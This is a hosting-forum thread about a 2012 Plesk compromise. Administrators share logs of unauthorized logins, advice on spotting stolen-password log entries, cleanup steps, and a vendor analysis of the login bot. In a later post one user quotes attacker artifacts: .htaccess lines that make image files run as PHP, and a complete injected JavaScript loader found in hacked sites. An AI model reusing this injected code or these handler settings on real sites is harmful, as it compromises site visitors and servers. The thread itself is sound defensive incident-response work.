• If you are still using CentOS 7.9, it's time to convert to Alma 8 with the free centos2alma tool by Plesk or Plesk Migrator. Please let us know your experiences or concerns in this thread:
    CentOS2Alma discussion

How can you tell if the container or the individual servers were hacked?

We had the same issue on a patched 8.6 box.

77.65.42.199 xxxxx [2012-02-16 20:42:07] 'CP User Login' ('Contact Name': '' => 'xxxxx')
190.21.5.192 xxxxx [2012-02-16 20:42:09] 'CP User Login' ('Contact Name': '' => 'xxxxx)
77.65.42.199 xxxxx [2012-02-16 20:42:11] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
190.21.5.192 xxxxx [2012-02-16 20:42:34] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
202.145.2.13 xxxxx [2012-02-17 10:03:04] 'CP User Login' ('Contact Name': '' => 'xxxxx')
125.161.123.107 xxxxx [2012-02-17 10:03:10] 'CP User Login' ('Contact Name': '' => 'xxxxx')
202.145.2.13 xxxxx [2012-02-17 10:03:30] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
125.161.123.107 xxxxx [2012-02-17 10:03:41] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
 
We had the same issue on a patched 8.6 box.

77.65.42.199 xxxxx [2012-02-16 20:42:07] 'CP User Login' ('Contact Name': '' => 'xxxxx')
190.21.5.192 xxxxx [2012-02-16 20:42:09] 'CP User Login' ('Contact Name': '' => 'xxxxx)
77.65.42.199 xxxxx [2012-02-16 20:42:11] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
190.21.5.192 xxxxx [2012-02-16 20:42:34] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
202.145.2.13 xxxxx [2012-02-17 10:03:04] 'CP User Login' ('Contact Name': '' => 'xxxxx')
125.161.123.107 xxxxx [2012-02-17 10:03:10] 'CP User Login' ('Contact Name': '' => 'xxxxx')
202.145.2.13 xxxxx [2012-02-17 10:03:30] 'CP User Logout' ('Contact Name': 'xxxxx' => '')
125.161.123.107 xxxxx [2012-02-17 10:03:41] 'CP User Logout' ('Contact Name': 'xxxxx' => '')

See here: http://forum.parallels.com/showthread.php?p=616004#post616004
 
Still looking at the logs we can tell that the issue is there with plesk 9
 
Hi,

Apparently this issue is fixed in Plesk 9.5.4 MU 11?

That could be a problem for me ....

-bash-3.2# /usr/local/psa/admin/sbin/autoinstaller --select-product-id plesk --select-release-current --reinstall-patch --install-component base
File downloading products.inf3: 100% was finished.
File downloading plesk.inf3: 10%..20%..30%..45%..51%..61%..71%..82%..95%..100% was finished.
File downloading ppsmbe.inf3: 28%..39%..59%..80%..100% was finished.
File downloading sitebuilder.inf3: 10%..35%..51%..100% was finished.
File downloading sso.inf3: 24%..51%..64%..91%..100% was finished.
File downloading setemplates.inf3: 19%..69%..94%..100% was finished.
File downloading pp-sitebuilder.inf3: 26%..41%..100% was finished.
File downloading billing.inf3: 10%..21%..33%..68%..85%..91%..100% was finished.
File downloading mysql.inf3: 100% was finished.
File downloading apache.inf3: 100% was finished.
Checking for installed packages...
File downloading PSA_9.5.4/plesk-9.5.4-cos5-x86_64.inf3: 11%..20%..30%..40%..50%..61%..71%..86%..93%..100% was finished.
File downloading PSA_9.5.4/plesk-patches-9.5.4-cos5-x86_64.inf3: 17%..27%..36%..56%..100% was finished.
Parallels Containers were detected. Trying to connect to VZAgent...Warning! Failed to connect to VZAgent: ioctl: Transport endpoint is not connected
Detecting installed product components.
Gathering information about installed license key...
Retrieving information about the installed packages...
File downloading PSA_9.5.4/dist-rpm-CentOS-5-x86_64/build-9.5.4-cos5-x86_64.hdr.gz: 10%..20%..30%..40%..50%..60%..70%..80%..90%..100% was finished.
File downloading PSA_9.5.4/update-rpm-CentOS-5-x86_64/update-9.5.4-cos5-x86_64.hdr.gz: 10%..20%..30%..40%..51%..60%..70%..80%..90%..100% was finished.
File downloading PSA_9.5.4/thirdparty-rpm-CentOS-5-x86_64/thirdparty-9.5.4-cos5-x86_64.hdr.gz: 11%..25%..46%..52%..60%..84%..100% was finished.
Determining the packages that need to be installed.
Installing patches...
File downloading PSA_9.5.4/microupdates/MU3/common/pack-sysstats: completed.
File downloading PSA_9.5.4/microupdates/MU1/common/send-report: completed.
File downloading PSA_9.5.4/microupdates/MU1/common/stats-graph.php: completed.
File downloading PSA_9.5.4/microupdates/MU4/dist-rpm-CentOS-5-x86_64/launchpad: completed.
File downloading PSA_9.5.4/microupdates/MU5/dist-rpm-CentOS-5-x86_64/qmail-smtpd: completed.
File downloading PSA_9.5.4/microupdates/MU5/dist-rpm-CentOS-5-x86_64/websrvmng: completed.
File downloading PSA_9.5.4/microupdates/MU6/common/AgentDNS.php: completed.
File downloading PSA_9.5.4/microupdates/MU6/common/common_func.php3: completed.
File downloading PSA_9.5.4/microupdates/MU6/common/class.NavigationForm.php: completed.
File downloading PSA_9.5.4/microupdates/MU7/dist-rpm-CentOS-5-x86_64/cuMail.php: completed.
File downloading PSA_9.5.4/microupdates/MU8/dist-rpm-CentOS-5-x86_64/packagemng: completed.
File downloading PSA_9.5.4/microupdates/MU9/dist-rpm-CentOS-5-x86_64/autoinstaller: completed.
File downloading PSA_9.5.4/microupdates/MU10/common/class.PhDomain.php: completed.
File downloading PSA_9.5.4/microupdates/MU10/common/class.DomainReport.php: completed.
File downloading PSA_9.5.4/microupdates/MU10/common/client.ipaddress.properties.php: completed.
File downloading PSA_9.5.4/microupdates/MU10/common/class.PHostingManager.php: completed.
File downloading PSA_9.5.4/microupdates/MU10/common/web_users.php3: completed.
File downloading PSA_9.5.4/microupdates/MU10/common/server.autoinstaller.php: completed.
File downloading PSA_9.5.4/microupdates/MU10/dist-rpm-CentOS-5-x86_64/libspf2.so.2.1.0: completed.
File downloading PSA_9.5.4/microupdates/MU10/dist-rpm-CentOS-5-x86_64/spfd_static: completed.
File downloading PSA_9.5.4/microupdates/MU10/dist-rpm-CentOS-5-x86_64/spf_example_static: completed.
File downloading PSA_9.5.4/microupdates/MU10/dist-rpm-CentOS-5-x86_64/spfquery_static: completed.
File downloading PSA_9.5.4/microupdates/MU10/dist-rpm-CentOS-5-x86_64/spftest_static: completed.
File downloading PSA_9.5.4/microupdates/MU12/common/BackupCreateBackupNowForm.php: completed.
File downloading PSA_9.5.4/microupdates/MU12/common/class.Session.php: completed.
File downloading PSA_9.5.4/microupdates/MU12/dist-rpm-CentOS-5-x86_64/ch_admin_passwd: completed.
File downloading PSA_9.5.4/microupdates/MU12/common/help.php: completed.
File downloading PSA_9.5.4/microupdates/MU13/dist-rpm-CentOS-5-x86_64/proftpd: completed.
File downloading PSA_9.5.4/microupdates/MU16/dist-rpm-CentOS-5-x86_64/psa.init: completed.
Patches were installed successfully.

I think I should see the MU11 being installed?

Paul.
 
Identified the cause of this, I had already renamed the file as a quick prevention. If the file doesn't appear to exist then the MU will not be downloaded, I assume this is in lieu of actually testing for the existing of the component.

What it does mean is that if you moved or renamed the file, you have to put it back before running any micro-updates.

Paul
 
Helo,

password were reset too, on Plesk 8,6 bellow is the access log:

78.139.244.50 - - [21/Feb/2012:15:42:28 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:29 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:34 -0500] "GET /domains/dom_ctrl.php3?dom_id=1004&previous_page=domains&cmd=file_manager HTTP/1.1" 200 865
78.139.244.50 - - [21/Feb/2012:15:42:35 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:37 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:41 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:43 -0500] "GET /domains/dom_ctrl.php3?dom_id=1854&previous_page=domains&cmd=file_manager HTTP/1.1" 200 865
78.139.244.50 - - [21/Feb/2012:15:42:44 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:45 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:47 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
78.139.244.50 - - [21/Feb/2012:15:42:48 -0500] "GET /domains/dom_ctrl.php3?dom_id=322&previous_page=domains&cmd=file_manager HTTP/1.1" 200 865

78.139.244.50 - - [21/Feb/2012:15:42:49 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 868

78.139.244.50 - - [21/Feb/2012:15:42:51 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868

78.139.244.50 - - [21/Feb/2012:15:42:52 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 868

Is there a way we can get a fix for this ?
 
We applied the patch on an 8.4 machine and have reset client passwords. Still seeing this in the logs:


62.122.232.98 - - [23/Feb/2012:05:52:43 -0700] "POST /login_up.php3 HTTP/1.1" 200 1952
123.252.128.63 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 285
188.230.132.158 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 273
94.233.164.205 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 273
95.19.238.63 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 285
62.122.232.98 - - [23/Feb/2012:05:52:46 -0700] "GET /plesk/client@6/domain@/?context=domains HTTP/1.1" 200 866
213.156.106.242 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 285
2.81.129.31 - - [23/Feb/2012:05:52:47 -0700] "POST /login_up.php3 HTTP/1.1" 200 1933
188.230.132.158 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@12/domain@/?context=domains HTTP/1.1" 303 0
123.252.128.63 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@8/domain@/?context=domains HTTP/1.1" 303 5
62.122.232.98 - - [23/Feb/2012:05:52:48 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 864
213.156.106.242 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@14/domain@/?context=domains HTTP/1.1" 200 5300
95.19.238.63 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@10/domain@/?context=domains HTTP/1.1" 200 5304
94.233.164.205 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@11/domain@/?context=domains HTTP/1.1" 200 5332
123.252.128.63 - - [23/Feb/2012:05:52:49 -0700] "GET /clients/cl_ed.php3?start=true&previous_page=domain%40 HTTP/1.1" 200 4883
2.81.129.31 - - [23/Feb/2012:05:52:49 -0700] "GET /plesk/client@5/domain@/?context=domains HTTP/1.1" 200 854
188.230.132.158 - - [23/Feb/2012:05:52:49 -0700] "GET /clients/cl_ed.php3?start=true&previous_page=domain%40 HTTP/1.1" 200 4891
62.122.232.98 - - [23/Feb/2012:05:52:50 -0700] "GET /logout.php3 HTTP/1.1" 200 290
188.119.64.105 - - [23/Feb/2012:05:52:51 -0700] "POST /login_up.php3 HTTP/1.1" 200 1921
94.233.164.205 - - [23/Feb/2012:05:52:51 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 5298
2.81.129.31 - - [23/Feb/2012:05:52:51 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 864
188.230.132.158 - - [23/Feb/2012:05:52:51 -0700] "POST /domains/domains.php3 HTTP/1.1" 303 5
213.156.106.242 - - [23/Feb/2012:05:52:51 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 5279
95.19.238.63 - - [23/Feb/2012:05:52:51 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 5288
123.252.128.63 - - [23/Feb/2012:05:52:52 -0700] "POST /domains/domains.php3 HTTP/1.1" 303 5
2.81.129.31 - - [23/Feb/2012:05:52:53 -0700] "GET /logout.php3 HTTP/1.1" 200 290
123.252.128.63 - - [23/Feb/2012:05:52:53 -0700] "GET /clients/cl_ed.php3?start=true&previous_page=domains HTTP/1.1" 200 4883
188.230.132.158 - - [23/Feb/2012:05:52:53 -0700] "GET /clients/cl_ed.php3?start=true&previous_page=domains HTTP/1.1" 200 4891
94.233.164.205 - - [23/Feb/2012:05:52:54 -0700] "GET /domains/dom_ctrl.php3?dom_id=880&previous_page=domains&cmd=file_manager HTTP/1.1" 200 297
95.19.238.63 - - [23/Feb/2012:05:52:54 -0700] "GET /logout.php3 HTTP/1.1" 200 290
188.119.64.105 - - [23/Feb/2012:05:52:54 -0700] "GET /plesk/client@13/domain@/?context=domains HTTP/1.1" 200 866
188.230.132.158 - - [23/Feb/2012:05:52:55 -0700] "GET /logout.php3 HTTP/1.1" 200 290
213.156.106.242 - - [23/Feb/2012:05:52:56 -0700] "GET /logout.php3 HTTP/1.1" 200 290
123.252.128.63 - - [23/Feb/2012:05:52:56 -0700] "GET /logout.php3 HTTP/1.1" 200 290
94.233.164.205 - - [23/Feb/2012:05:52:57 -0700] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 5601
188.119.64.105 - - [23/Feb/2012:05:52:57 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 864
188.119.64.105 - - [23/Feb/2012:05:53:02 -0700] "GET /logout.php3 HTTP/1.1" 200 290
94.233.164.205 - - [23/Feb/2012:05:53:07 -0700] "POST /filemanager/filemanager.php HTTP/1.1" 200 5685
94.233.164.205 - - [23/Feb/2012:05:53:10 -0700] "POST /filemanager/filemanager.php HTTP/1.1" 200 5677
94.233.164.205 - - [23/Feb/2012:05:53:17 -0700] "GET /logout.php3 HTTP/1.1" 200 290

Any ideas? This is happening at least once a day.
 
Also, we know it's not an admin login, these folks are actually logging in as the clients individually.

Action log (names have been replaced:

123.252.128.63 AAA [2012-02-23 05:52:45] 'CP User Login' ('Contact Name': '' => 'AAA')
188.230.132.158 BBB [2012-02-23 05:52:46] 'CP User Login' ('Contact Name': '' => BBB')
94.233.164.205 CCC [2012-02-23 05:52:46] 'CP User Login' ('Contact Name': '' => 'CCC')
95.19.238.63 DDD [2012-02-23 05:52:46] 'CP User Login' ('Contact Name': '' => 'DDD')
213.156.106.242 EEE [2012-02-23 05:52:46] 'CP User Login' ('Contact Name': '' => 'EEE')
62.122.232.98 [2012-02-23 05:52:50] 'CP User Logout' ('Contact Name': '' => '')
2.81.129.31 [2012-02-23 05:52:53] 'CP User Logout' ('Contact Name': '' => '')
95.19.238.63 DDD [2012-02-23 05:52:54] 'CP User Logout' ('Contact Name': 'DDD' => '')
188.230.132.158 BBB [2012-02-23 05:52:55] 'CP User Logout' ('Contact Name': 'BBB' => '')
213.156.106.242 EEE [2012-02-23 05:52:56] 'CP User Logout' ('Contact Name': 'EEE' => '')
123.252.128.63 AAA [2012-02-23 05:52:56] 'CP User Logout' ('Contact Name': 'AAA' => '')
188.119.64.105 [2012-02-23 05:53:02] 'CP User Logout' ('Contact Name': '' => '')
94.233.164.205 CCC [2012-02-23 05:53:17] 'CP User Logout' ('Contact Name': 'CCC' => '')
 
Quick info

Hi,

because there is many false information going on, let me answer the initial question: How can you tell if your Plesk was hacked?

Quite simple: go to /usr/local/psa/admin/logs , gunzip the older httpsd_access_log files which were already rotated, grep ALL httpsd_access_log* files for POST requests to agent.php

You will receive lines like the following:

httpsd_access_log:109.206.185.155 83.172.130.66:8443 - [27/Feb/2012:21:19:30 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 185 "-" "-"

The interesting part is the number AFTER the 200 at the end of the line, which I marked red. Is this number smaller than 200 (which means, less than 200 Bytes were returned as answer, your system is secured against the SQL injection.
As soon as you find a number higher than 200, eg.:

httpsd_access_log:109.206.185.155 83.172.130.66:8443 - [27/Feb/2012:21:19:30 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 3775 "-" "-"

you can be sure, that your passwords were delivered to the attacker!

Because the vulnerability exists since several month, this can be even in a quiet old log file.


Now for securing the server: Closing the hole by patching helps only to prevent additional hackers fetching the passwords. But if only a single hacker was before successfull, your server will be abused sooner or later, patched or not patched. This means when above log test results show, that at least one hacker was successfull, you SHOULD change all passwords, as are:

- Plesk Reseller accounts
- Plesk Client Accounts
- Plesk Domain Administrator Accounts
- Web users
- FTP accounts
- FrontPage users
- MySQL user
- Protected Directory Users
- Email accounts

The only password, which could not be abused that way, is the Plesk admin password - but if I were you, I would change it too.

On abused servers we found:

- FTP logins placing/changing files
- per filemanager dropped/changed files
- cron jobs running the placed files
- files placed by one of the 3 scripts above (egg-dropping)


So the clean-up must be always:

1) Patch Plesk
2) change ALL above named passwords
3) remove ALL placed files (yes, horrible to find!)
4) kill cronjobs and remove unwanted cron jobs
5) kill running hacks (most of the time Perl hacks)
6) final check for hack files still in system (dn't forget /tmp directory)

If you don't follow above clean-up order, chances for a new hack are high!
 
hello all & mr_coko.
Thx for access log debug.

But... Password on Plesk System DB not crypted? Why Admin pass not sent?

On our server's we fount .htaccess in /tmp (noexec and other mount option used) with +FolowSymLinks, and apache.lock files with pid numbers. Use find we have list of hacked domain's.
Find all .pl:
find /var/www/vhosts/[a-z]*/cgi-bin/*.pl -mmin -2880

Most % of user's don't use .pl (95% use PHP), and we backup all .pl scripts, and delete if from users vh dir.

In cron trojan insert task. Se all cronjobs in /var/spool/cron of your users.

And all together:
1) Delete .pl in user dirs (/var/www/example.com/cgi-bin)
2) Delete cronjobs
3) Delete /tmp files over php-session.

Quest: How find all files of this trojan? rkhunter helped?

Good luck all.

P.S: Sorry for my eng..
 
Hi Alex,

yes, most passwords in the Plesk DB are NOT encrypted.

the .htaccess in the /tmp directory has not much to say, most of the times this is placed by a Drupal installation or similar. The apachectl.lock files are from running Perl hacks, same as /tmp/id, /tmp/id2, /tmp/us, /tmp/ua2

Please be careful with your find command, as we found besides of .pl files also .cgi files, and also a limitation to a time (mmin) might let you miss files! As said, we found on our servers related hacks and intrusions back to October last year!

There is currently no secure way to locate all dropped/hacked/changed files, also tools like ClamAV or rkhunter will not find them (we tested them all without success).

Please be also aware of modified .htaccess files, containing the lines

AddHandler application/x-httpd-php .gif .jpg .jpeg .png
php_flag short_open_tag Off
php_flag display_errors off

The first line allows parsing of images for PHP code. In that case, the attackers modified images on the system, wrapping the image with PHP code, executing the code first and then displaying the image. This way, whenever the image is loaded, a short signal is sent to botnet control that this server is available for the botnet and a possible DDoS attack, where this server can participate.

Also we found manipulated .js files, containing lines like:

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/useruploads/images/2_a.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();

Furtheron we heard, that sometimes they even manipulate PHP files.

So, in worst case, consider ALL your hosted files INSECURE.

Don't take this threat too easy!
 
We applied the patch on an 8.4 machine and have reset client passwords. Still seeing this in the logs:

Code:
62.122.232.98 - - [23/Feb/2012:05:52:43 -0700] "POST /login_up.php3 HTTP/1.1" 200 1952
...
94.233.164.205 - - [23/Feb/2012:05:53:17 -0700] "GET /logout.php3 HTTP/1.1" 200 290

Any ideas? This is happening at least once a day.

Hello, Jacob. Thanks for reporting. Very appreciated.

Plesk Security team had analyzed the log and then concluded the following.

Seems to be the requests were not made through regular browser, because there were no requests to JavaScript and picture sources at all.
Also, the requests started coming from the IP addresses at approximately same time.
So, you definitely deal with a robot.

If you sort the records of the log by the client IP address you will see the following picture:

Code:
123.252.128.63 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 285
123.252.128.63 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@8/domain@/?context=domains HTTP/1.1" 303 5
123.252.128.63 - - [23/Feb/2012:05:52:49 -0700] "GET /clients/cl_ed.php3?start=true&previous_page=domain%40 HTTP/1.1" 200 4883
123.252.128.63 - - [23/Feb/2012:05:52:52 -0700] "POST /domains/domains.php3 HTTP/1.1" 303 5
123.252.128.63 - - [23/Feb/2012:05:52:53 -0700] "GET /clients/cl_ed.php3?start=true&previous_page=domains HTTP/1.1" 200 4883
123.252.128.63 - - [23/Feb/2012:05:52:56 -0700] "GET /logout.php3 HTTP/1.1" 200 290

...

95.19.238.63 - - [23/Feb/2012:05:52:46 -0700] "POST /login_up.php3 HTTP/1.1" 200 285
95.19.238.63 - - [23/Feb/2012:05:52:48 -0700] "GET /plesk/client@10/domain@/?context=domains HTTP/1.1" 200 5304
95.19.238.63 - - [23/Feb/2012:05:52:51 -0700] "POST /domains/domains.php3 HTTP/1.1" 200 5288
95.19.238.63 - - [23/Feb/2012:05:52:54 -0700] "GET /logout.php3 HTTP/1.1" 200 290

What common in these series ordered by IP addresses is that:

• The first request in a series is an authorization attempt
• The last request is always a logout request
• Between authorization and logout requests there is a request for getting list of the customer’s domains, and a request for searching domains.
• All series started at approximately same time
• In all series, size of response of the first request is either approximately 280 bytes or 1900 bytes – obviously one value corresponds to successful login attempt and the second to the unsuccessful one.

In two series after a request for getting list of domains and a request for searching domains http client receives error and makes a request to edit personal card of the logged account.
This corresponds to behavior of Plesk when a newly created account authorizes in Panel and is asked to fill some additional information if it was not provided during the account creation. In this case any requests lead to redirection, and such redirections are followed by HTTP clients by default – exactly what you observe.

Three authorization attempts were unsuccessful, five – successful. Two of them were performed by a new account.

So, you may conclude about a series of such type that:

• Authorization was successful
• Authorized party is some Plesk account but not Plesk 'admin'
• The account is newly created.

We may notice that the client with ip 94.233.164.205 made three requests to file manager of the domain 880.


Generalizing everything said above you see the following picture.

• One client IP address corresponds to one account.
• Attacker does not have Plesk 'admin' password.
• The robot works by the following algorithm:
1. Authorize in Panel.
2. Get list of all domains.
3. Parse list of domains.
4. For each found domain go to file manager and upload some files there.
5. Log out.
• There is no security hole in the Plesk File Manager. The attacker has already obtained a list of credentials by the beginning of attack.
• Not all Plesk owners and their customers have changed passwords of their Plesk accounts (but some have).

Also, seems to be some Plesk owners generate passwords for new accounts by some predefined pattern, because two of five successful login attempts were made with credentials of newly created accounts, and the attacker has already known the passwords. They might be some sort of “dead souls†who bought hosting but don’t use it.

It's strongly recommended to make sure all passwords of your accounts have been changed if you suspect your Plesk was hacked.
 
Last edited:
Hi, we use the plesk_password_changer.php. The Script stop at STEP 7 with this error:

[2012-02-29 10:01:09][INFO] ==> STEP 7: Change password for web users of domains...
[2012-02-29 10:01:09][INFO] SELECT sys_users.login, domains.name, clients.login AS owner_login, clients.cname AS owner_name, clients.type AS owner_type, clients.email AS owner_email FROM web_users, sys_users, clients, domains WHERE web_users.sys_user_id = sys_users.id AND web_users.dom_id = domains.id and clients.id = domains.cl_id
[2012-02-29 10:01:09][FATAL_ERROR] [MYSQL ERROR] Unable to execute query. Error: MySQL server has gone away

I tested this for 4 times. The mysql Server goes always away...
 
OK, i have found the issue. I have changed the /etc/my.cnf by insert this:
wait_timeout = 288000
wait_timeout = 28800 is the standard

Now, the script run to the end.
 
Hi Sergius,

Thanks for the info. I had actually done the same analysis prior to posting here, but the password reset script was exactly what we needed.

Cheers,
Jacob
 
Back
Top